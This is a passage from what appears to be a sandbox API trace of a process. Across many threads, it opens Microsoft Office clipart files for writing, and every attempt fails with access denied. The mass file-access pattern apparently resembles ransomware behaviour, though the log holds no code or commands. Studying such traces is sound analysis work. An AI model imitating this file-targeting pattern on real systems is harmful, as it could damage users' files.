office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.122] GetLastError () returned 0x5 [0213.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF", dwFileAttributes=0x20) returned 0 [0213.123] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d4f8) returned 1 Thread: id = 10697 os_tid = 0x1534 [0209.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf")) returned 0x20 [0213.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF", dwFileAttributes=0x20) returned 0 [0213.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.121] GetLastError () returned 0x5 [0213.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF", dwFileAttributes=0x20) returned 0 [0213.121] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d580) returned 1 Thread: id = 10698 os_tid = 0x1038 [0209.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf")) returned 0x20 [0213.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF", dwFileAttributes=0x20) returned 0 [0213.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.119] GetLastError () returned 0x5 [0213.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF", dwFileAttributes=0x20) returned 0 [0213.119] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d608) returned 1 Thread: id = 10699 os_tid = 0x1280 [0209.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf")) returned 0x20 [0213.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF", dwFileAttributes=0x20) returned 0 [0213.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.118] GetLastError () returned 0x5 [0213.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF", dwFileAttributes=0x20) returned 0 [0213.118] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d690) returned 1 Thread: id = 10700 os_tid = 0x128c [0209.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf")) returned 0x20 [0213.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF", dwFileAttributes=0x20) returned 0 [0213.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.117] GetLastError () returned 0x5 [0213.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF", dwFileAttributes=0x20) returned 0 [0213.117] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d718) returned 1 Thread: id = 10704 os_tid = 0x12b0 [0209.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf")) returned 0x20 [0209.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF", dwFileAttributes=0x20) returned 0 [0209.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.421] GetLastError () returned 0x5 [0209.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF", dwFileAttributes=0x20) returned 0 [0209.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6c748) returned 1 Thread: id = 10705 os_tid = 0x12b4 [0209.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf")) returned 0x20 [0209.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF", dwFileAttributes=0x20) returned 0 [0209.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.423] GetLastError () returned 0x5 [0209.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF", dwFileAttributes=0x20) returned 0 [0209.423] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d938) returned 1 Thread: id = 10727 os_tid = 0x1438 [0209.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf")) returned 0x20 [0213.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF", dwFileAttributes=0x20) returned 0 [0213.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.296] GetLastError () returned 0x5 [0213.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF", dwFileAttributes=0x20) returned 0 [0213.296] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d9c0) returned 1 Thread: id = 10742 os_tid = 0xd4c [0209.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf")) returned 0x20 [0213.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF", dwFileAttributes=0x20) returned 0 [0213.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.192] GetLastError () returned 0x5 [0213.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF", dwFileAttributes=0x20) returned 0 [0213.192] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c519e0) returned 1 Thread: id = 10743 os_tid = 0x1b88 [0209.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf")) returned 0x20 [0213.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF", dwFileAttributes=0x20) returned 0 [0213.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.193] GetLastError () returned 0x5 [0213.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF", dwFileAttributes=0x20) returned 0 [0213.193] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51af0) returned 1 Thread: id = 10796 os_tid = 0x1268 [0210.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf")) returned 0x20 [0213.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF", dwFileAttributes=0x20) returned 0 [0213.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.313] GetLastError () returned 0x5 [0213.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF", dwFileAttributes=0x20) returned 0 [0213.314] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6c7d0) returned 1 Thread: id = 10797 os_tid = 0x7bc [0210.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf")) returned 0x20 [0213.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF", dwFileAttributes=0x20) returned 0 [0213.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.315] GetLastError () returned 0x5 [0213.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF", dwFileAttributes=0x20) returned 0 [0213.315] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6b8f0) returned 1 Thread: id = 10798 os_tid = 0x16a0 [0210.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf")) returned 0x20 [0213.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF", dwFileAttributes=0x20) returned 0 [0213.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.316] GetLastError () returned 0x5 [0213.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF", dwFileAttributes=0x20) returned 0 [0213.316] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6b868) returned 1 Thread: id = 10806 os_tid = 0x17fc [0210.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf")) returned 0x20 [0213.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF", dwFileAttributes=0x20) returned 0 [0213.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.166] GetLastError () returned 0x5 [0213.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF", dwFileAttributes=0x20) returned 0 [0213.167] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7ae8) returned 1 Thread: id = 10807 os_tid = 0xf58 [0210.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf")) returned 0x20 [0213.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF", dwFileAttributes=0x20) returned 0 [0213.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.168] GetLastError () returned 0x5 [0213.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF", dwFileAttributes=0x20) returned 0 [0213.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91eb48) returned 1 Thread: id = 10808 os_tid = 0x1148 [0210.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf")) returned 0x20 [0213.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF", dwFileAttributes=0x20) returned 0 [0213.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.169] GetLastError () returned 0x5 [0213.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF", dwFileAttributes=0x20) returned 0 [0213.169] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ebd0) returned 1 Thread: id = 10809 os_tid = 0x11c8 [0210.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0210.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID", dwFileAttributes=0x20) returned 0 [0210.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0210.926] GetLastError () returned 0x5 [0210.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID", dwFileAttributes=0x20) returned 0 [0210.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ec58) returned 1 Thread: id = 10810 os_tid = 0x11cc [0210.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0213.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID", dwFileAttributes=0x20) returned 0 [0213.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.170] GetLastError () returned 0x5 [0213.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID", dwFileAttributes=0x20) returned 0 [0213.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ece0) returned 1 Thread: id = 10811 os_tid = 0xd30 [0210.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf")) returned 0x20 [0213.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF", dwFileAttributes=0x20) returned 0 [0213.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.171] GetLastError () returned 0x5 [0213.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF", dwFileAttributes=0x20) returned 0 [0213.171] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ed68) returned 1 Thread: id = 10812 os_tid = 0xbc0 [0210.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf")) returned 0x20 [0213.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF", dwFileAttributes=0x20) returned 0 [0213.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.173] GetLastError () returned 0x5 [0213.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF", dwFileAttributes=0x20) returned 0 [0213.173] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91edf0) returned 1 Thread: id = 10813 os_tid = 0xbcc [0210.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0213.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID", dwFileAttributes=0x20) returned 0 [0213.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.174] GetLastError () returned 0x5 [0213.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID", dwFileAttributes=0x20) returned 0 [0213.174] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ee78) returned 1 Thread: id = 10814 os_tid = 0xd34 [0210.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0213.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID", dwFileAttributes=0x20) returned 0 [0213.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.175] GetLastError () returned 0x5 [0213.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID", dwFileAttributes=0x20) returned 0 [0213.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ef00) returned 1 Thread: id = 10815 os_tid = 0x155c [0210.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf")) returned 0x20 [0213.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF", dwFileAttributes=0x20) returned 0 [0213.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.177] GetLastError () returned 0x5 [0213.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF", dwFileAttributes=0x20) returned 0 [0213.177] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ef88) returned 1 Thread: id = 10816 os_tid = 0x1570 [0210.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf")) returned 0x20 [0213.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF", dwFileAttributes=0x20) returned 0 [0213.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.178] GetLastError () returned 0x5 [0213.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF", dwFileAttributes=0x20) returned 0 [0213.178] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f010) returned 1 Thread: id = 10817 os_tid = 0x1574 [0210.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf")) returned 0x20 [0213.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF", dwFileAttributes=0x20) returned 0 [0213.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.237] GetLastError () returned 0x5 [0213.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF", dwFileAttributes=0x20) returned 0 [0213.237] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f098) returned 1 Thread: id = 10818 os_tid = 0x858 [0210.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf")) returned 0x20 [0213.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF", dwFileAttributes=0x20) returned 0 [0213.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.239] GetLastError () returned 0x5 [0213.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF", dwFileAttributes=0x20) returned 0 [0213.239] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f120) returned 1 Thread: id = 10819 os_tid = 0x1578 [0210.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: 